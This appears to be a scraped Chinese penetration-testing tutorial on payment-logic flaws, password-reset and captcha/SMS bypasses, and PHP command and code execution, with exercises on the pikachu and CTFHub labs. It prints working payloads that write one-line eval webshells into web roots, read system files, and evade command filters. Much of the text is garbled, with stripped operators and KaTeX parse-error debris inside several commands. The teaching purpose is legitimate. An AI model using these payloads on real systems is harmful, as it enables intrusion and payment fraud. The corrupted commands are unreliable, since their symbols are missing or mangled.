还是网站好,备案空壳网站,如何申请一个网站域名,logo设计大全文章目录 一、支付漏洞1.修改附属值2.多重替换支付3.重复支付4.最小额支付5.最大值支付6.越权支付7.无限制试用8.多线程并发9.支付漏洞思路 二、密码找回漏洞1.本地验证绕过2.利用session重新绑定客户3.去掉验证参数绕过4.总结 三、短信验证码绕过1.短信验证码生命期限内可暴力… 文章目录 一、支付漏洞1.修改附属值2.多重替换支付3.重复支付4.最小额支付5.最大值支付6.越权支付7.无限制试用8.多线程并发9.支付漏洞思路 二、密码找回漏洞1.本地验证绕过2.利用session重新绑定客户3.去掉验证参数绕过4.总结 三、短信验证码绕过1.短信验证码生命期限内可暴力枚举2.短信验证码在数据包中返回3.修改请求数据包参数或 Cookie 值绕过4.修改返回包绕过5.攻破短信验证码接口7.几种爆破绕过a.超长字符串b.特殊符号c.整数溢出。 四、验证安全1.图形验证码绕过a.图形验证码不刷新或无效b.图形验证码值可直接获取c.图形验证码参数绕过i:验证码空值绕过ii:直接删除验证码参数改成 useradminpass1234 2.存在无验证码页面3.万能验证码4.验证码数量有限5.简单验证码识别6.验证码复用 五、命令执行1.RCE定义2.常见的命令执行函数1) exec2system3passthru4shell_exec5)反引号 6)popen 3.管道符号4.常用的命令5.命令执行危害-getshell1)直接获取webshell2)显示当前路径3)读文件4)写文件 6.pikachu靶场任务1)查看当前用户2)查看当前路径3)查看C盘下的文件4)写入一句话木马、用菜刀或者蚁剑连接成功 7.CTF靶场任务1)eval执行2)命令执行3)文件包含4)php://input5)远程包含6)burp systemcat读取源代码7)过滤cat8)单引号绕过9)双引号绕过10)特殊符号绕过11)绕过空格12)过滤目录分隔符13)过滤|逻辑符号14)综合练习 六、代码执行1.定义2.相关函数1)eval2)assert3)callback函数 3.pikachu靶场任务4.代码执行-漏洞防御 一、支付漏洞
那么这个修改价格具体是修改哪一步时的价格呢在我看来你可以在这三个步骤当中的随便一个步骤进行修改价格测试如果前面两步有验证机制那么你可在最后一步付款时进行抓包尝试修改金额如果没有在最后一步做好检验 存在可修改订单状态的接口比如确认收货接口确认收货以后订单状态会变成“已完成”。 有如下接口/setorderstatus?orderid1093orderstatus3
1.修改附属值
修改优惠劵金额 修改积分 修改运费金额 修改服务费金额
2.多重替换支付
首先去产生两个订单这两个订单商品是不一样的其价格不一样如果服务端没有做好这相关的验证那么在支付的过程当中抓包修改其订单值为另一个订单值最后支付这时就可以用订单一的支付价格买到订单二的商品。
3.重复支付
比如订单支付会返现或者返积分。重复调用支付成功回调的接口可实现多次返现或多次返积分。
4.最小额支付
这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的但是如果你修改其金额为1.00那么支付就会成功。
5.最大值支付
利用整数溢出将购买量改成99999999999999999999999999999999这样支付金额可能会变成0。或者修改附属值如优惠卷积分等为999999999 如果这里逻辑设计有问题那么其支付金额会变为0。
6.越权支付
可以修改这个用户ID为其它用户ID达到用其他用户的账号进行支付你的商品
7.无限制试用
在支付的时候它URL后面的支付接口是3而试用接口是4那么此时你已经 使用过了复制下确认试用时的URL修改后面的支付接口为3那么此时就会调用 购买支付接口但是由于你本身这个产品就是试用的其相应值绑定了这个试用商 品那么金额就肯定是0那么最后点击支付你就可以看到支付成功试用成功 又重复试用了一次然后他们的试用时间会累加在一起这就导致了可无限制购买任何产品了
8.多线程并发
并发请求用户A在一个网站上提款同步发送了多个提款请求后台显示多条提款请求审核了然后顺利的提到了几倍的bounty 处理速度的问题数据库的处理速度跟不上用户的请求速度就有可能存在这样的漏洞。
9.支付漏洞思路 二、密码找回漏洞
1.本地验证绕过
客户端在本地进行验证码是否正确的判断而该判断结果也可以在本地修改 最终导致欺骗客户端误以为我们已经输入了正确的验证码。 例如将返回包中的0修改为1即可绕过验证。
2.利用session重新绑定客户
重置密码最后一步是通过session获取用户名然后再重置。 而用户名是在重置密码第一步时与session进行绑定那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程 那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。 http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html
3.去掉验证参数绕过
邮件系统取回密码功能设计逻辑错误存在认证绕过漏洞 通过抓取数据包可通过修改报文将找回问题答案参数删除后直接进行对密码更改。 参考案例http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html
4.总结
1、测试业务的时候了解清楚业务的整体流程可以利用思维导图快速清理各个业务之间的关系 2、重点关注的业务:个人他人信息、密码修改找回、支付流程、注册流程、需要手机、邮箱验证的业务。 3、对每个业务模块进行抓包分析其中各种请求注意特殊参数很有可能就是这些特殊参数决定了业务步骤。 4、抓包重放的过程需要多次实验判断是否可以跳过绕过如何跳过绕过)纯数字可以用数字字母尝试绕过 5、返回包中数据的分析~关注特殊字符串和特殊参数还有JS文件JS中可能会存在信息泄漏)。 6、综上所述业务流程需同时结合’HTTP/HTTPS请求分析重点可以关注那些具有代表性的参数绕过必要验证跳过业务步骤。
三、短信验证码绕过
1.短信验证码生命期限内可暴力枚举
只限于数字验证码
2.短信验证码在数据包中返回
可以直接在response中获取到短信验证码
3.修改请求数据包参数或 Cookie 值绕过
比如有 post 数据包mobile18888888888userid00001, Cookie中有codetype1 在特定步骤修改 mobile自己的手机号自己手机就可以收到别人的验证码后面再用 别人的手机号和接收到的验证码登录 修改 Cookie 中可疑的参数和值进行绕过比如上面修改 codetype0
4.修改返回包绕过
举个简单的例子提交错误的短信验证码返回包中有 statusfalse用 Burpsuite 的 “Do intercept” 功能修改为 statustrue即可绕过前端判断成功进入系统。具体还要结合实际的场景灵活操作。
5.攻破短信验证码接口
a:有些网站会遗留短信验证码测试页面比如/smstest.html等如果能找到并且还可以正常使用。 b:一般系统的短信验证码功能都会有个接口平台可以获取到手机接收到的所有短信找到并攻 破也能进入系统。 6.默认万能验证码 之前遇到过短信验证码输入9999就可以登录任意用户账号的漏洞。为了方便测试以及维护有的系统会留有万能验证码上线后还保留着。可能是固定的写在配置文件、js文件或代码中也可能是随时间变化的。 找回密码 前端加密可破解或者根本就不是加密。 比如如下案例找回密码得到一个token /resetpwdtokeneyJ1c2VybmFtZSI6InpoYW5nZiJ9 Token实际上就是将username编码了一下修改username即可修改其他用户的密码
7.几种爆破绕过
a.超长字符串
输入超长字符串可能会导致系统拒绝服务或绕过某些限制。
b.特殊符号
曾经遇到过一个案例密码框输入就可以登录任意用户账号。
c.整数溢出。
利用整数溢出精度丢失等可能导致支付漏洞。
四、验证安全
1.图形验证码绕过
a.图形验证码不刷新或无效
手工尝试一次登录后在某一时间段内无论登录失败多少次只要不刷新页面 Session 不过期就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。
b.图形验证码值可直接获取
验证码通常会被隐藏在网站的源码中或者在请求的 Cookie 中或在 response 数据包中返回
c.图形验证码参数绕过
登录请求包数据: useradminpass1234vcodebrln 可尝试如下两种绕过方法
i:验证码空值绕过
改成useradminpass1234vcode
ii:直接删除验证码参数改成 useradminpass1234
登录请求包数据: useradminpass1234needcode1vcodebrln 可尝试将needcode参数的值改成0
2.存在无验证码页面
3.万能验证码
渗透测试的过程中有时候会出现这种情况系统存在一个万能验证码如0000、9999 只要输入万能验证码就可以无视验证码进行暴力破解。
4.验证码数量有限
多见于计算类型的验证码如 12这种类型的验证码严格意义上来说不能叫做验证码多刷新几次验证码我们可能会发现系统中的算数题目只有那么几道这种情况下只要将验证码全部下载下来生成一个 md5 库然后将前端生成的验证码与本地文件进行对比即可。
5.简单验证码识别
在平常的漏洞挖掘过程中如果我们发现登录的验证码非常简单且易于识别那我们就可以尝试 使用自动化工具来进行登录破解了如 PKAV 的 HTTP Fuzzer、bp插件等。 https://blog.csdn.net/weixin_40412037/ article/details/105561166
6.验证码复用
当你打开常见的一些需要登录之类的系统,通常系统会自动请求一次验证码,抓包,抓住别放,保持Session不变。
五、命令执行
1.RCE定义
RCE远程命令执行或者代码执行因为RCE这个词的滥用RCE的范围比较广只要渗透的最终情况可以实现执行命令或者是代码都属于RCE例如代码执行、文件包含、反序列化、命令执行甚至是写文件Getshell都可以属于RCE
2.常见的命令执行函数
PHPexec、shell_exec、system、passthru、popen、proc_open等 ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等 Javajava.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
1) exec
返回值命令执行结果的最后一行内容失败时返回 false https://www.php.net/manual/zh/function.exec.php
?php
highlight_file(__FILE__);
// 输出运行中的 php/httpd 进程的创建者用户名
// 在可以执行 whoami 命令的系统上
$outputnull;
$retvalnull;
exec(whoami, $output, $retval);
exec(chcp 65001ipconfig, $output, $retval);
echo Returned with status $retval and output:\n;
print_r($output);
?2system
该函数会把执行结果输出并把输出结果的作为字符串返回。 如果 PHP 运行在服务器模块中system() 函数还会尝试在每行输出完毕之后自动刷新 web 服务器的输出缓存如果执行失败则返回false
?php
highlight_file(__FILE__);
system(chcp 65001ipconfig);
?//highlight_file() 函数以字符串形式返回 突出显示的代码成功返回true否则返回false。
3passthru
执行外部程序并且显示原始输出 执行的 Unix 命令输出二进制数据 并且需要直接传送到浏览器的时候 需要用此函数
?php
highlight_file(__FILE__);
passthru(whoami);
?4shell_exec
通过 shell 执行命令并将完整的输出以字符串的方式返回
?php
highlight_file(__FILE__);
var_dump(shell_exec(ipconfig));
?5)反引号
shell_exec() 函数实际上仅是反撇号 () 操作符的变体
?php
highlight_file(__FILE__);
$a whoami;
echo $a;
?6)popen
popen()、proc_open()函数不会直接返回执行结果而是返回一个文件指针通过文件指针就可对它所指的文件进行各种操作命令是已经执行了
?php popen(whoami D:/2.txt,r); ?3.管道符号 |前面可真可假
||——1||2先运行第一个命令只有在符号||前面的命令1未能运行成功时才运行符号||后面的命令2。
或前面必须为真才会执行后面的
4.常用的命令
Windows dir----查看文件目录 ipconfig----查看Windows的IP地址 arp -a----查看ARP缓存表 calc----在命令行打开计算器 regedit----打开注册表 netstat -ano----查看开放的端口信息 Linux cat /etc/passwd----查看passwd文件 id----查看该用户的ID号 groups----查看用户所属的组 cat /etc/group----查看组信息 whoami----查看当前用户 pwd----查看当前路径 uname -a----查看主机信息 cat /etc/issue----查看主机的配置信息 netstat -pantu----查看开放的端口信息 netstat -nr----查看路由信息
5.命令执行危害-getshell
1)直接获取webshell
例如可以写入一句话木马 ?cmdecho “?php eval($_REQUEST[123]); ?” D:\phpstudy\PHPTutorial\WWW\webshell.php
2)显示当前路径
例如可以提交参数 ?cmdcd 来查看当前路径。
3)读文件
例如?cmdtype c:\windows\system32\drivers\etc\hosts来查看系统hosts文件。
4)写文件
例如可以提交参数 ?cmdecho “?php phpinfo(); ?” D:\shell.php
6.pikachu靶场任务
1)查看当前用户
127.0.0.1whoami
2)查看当前路径
127.0.0.1cd
3)查看C盘下的文件
127.0.0.1type c:\1.txt
127.0.0.1 type c:\windows\system32\drivers\etc\hosts
4)写入一句话木马、用菜刀或者蚁剑连接成功
127.0.0.1echo ^?php eval(KaTeX parse error: Expected EOF, got at position 36: …?^ 127.0.0.1̲echo ^?php eva…_REQUEST[‘admin’]); ?^ C:\phpstudy_pro\WWW\pikachu\webshell.php 7.CTF靶场任务
https://www.ctfhub.com/#/skilltree
1)eval执行 eval执行,可以先判断下是Windows操作系统还是linux ipconfig和ifconfig
2)命令执行
/?cmdsystem(‘ifconfig’);
ls查看目录中的文件 /?cmdsystem(‘ls’);
列出根目录()下的所有目录 /?cmdsystem(‘ls /’);
发现可疑文件 flag_8213 直接使用cat命令查看 /?cmdsystem(‘cat /flag_8213’);得到flag
3)文件包含 4)php://input 5)远程包含 6)burp systemcat读取源代码 7)过滤cat 8)单引号绕过
127.0.0.1;c’at flag_21869419023310.php|base64
9)双引号绕过
127.0.0.1;cat flag_21869419023310.php|base64
10)特殊符号绕过
127.0.0.1;ca$t flag_21869419023310.php|base64
1;2|3 此处;表示执行完1再执行2的意思1可以随意|表示执行完2再执行33只对2的结果执行2必须执行成功才能执行3
11)绕过空格
1;catflag_28844345117053.php|base64
1;cat$IFS 9 f l a g 2 8844345117053. p h p ∣ b a s e 641 ; c a t 9flag_28844345117053.php|base64 1;cat 9flag28844345117053.php∣base641;cat{IFS}flag_28844345117053.php|base64
12)过滤目录分隔符
1;ls flag_is_here
1;cd flag_is_here;cat flag_8154254575089.php|base64
13)过滤|逻辑符号 14)综合练习
%0a替代;
在Windows和Linux中都支持用 “” 号模糊查询 1%0acd I F S f ∗ a g i s h e r e {IFS}f*ag_is_here%0als%0acat IFSf∗agishere{IFS}fag_7220223731263.php
六、代码执行
1.定义
应用程序在调用一些能够将字符串转换为代码的函数如PHP中的eval时没有考虑用户是否控制这个字符串将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行
2.相关函数
PHPeval、assert Javascripteval Vbscript: Execute、Eval Pythonexec
1)eval
将字符串当做函数进行执行需要传入一个完整的语句必须以分号 ; 结尾最常用的函数 ?php eval(echo hello;); ?
2)assert
判断是否为字符串是则当成代码执行,在php7.0.29之后的版本不支持动态调用
低版本 ?php assert($_POST[a]); ?
7.0.29之后 ?php $a assert; $a(phpinfo()); ?
3)callback函数
preg_replace /e模式
3.pikachu靶场任务 fputs(fopen(‘shell.php’,‘w’),‘?php eval($_POST[fname]);?’);
fputs(fopen(‘shell1.php’,‘w’),‘?php $code$_GET[x];echo system($code);?’);
fputs(fopen(‘shell2.php’,‘w’),‘?php $code$_GET[x];eval($code);?’);
4.代码执行-漏洞防御
代码执行的防御分为三个方面 参数 , 函数 和 权限 禁用或减少使用执行代码的函数 对于必须使用eval的地方一定严格处理用户数据 使用addslashess()函数将参数转译,或使用黑白名单校验 限制Web用户的权限 升级插件、框架新版本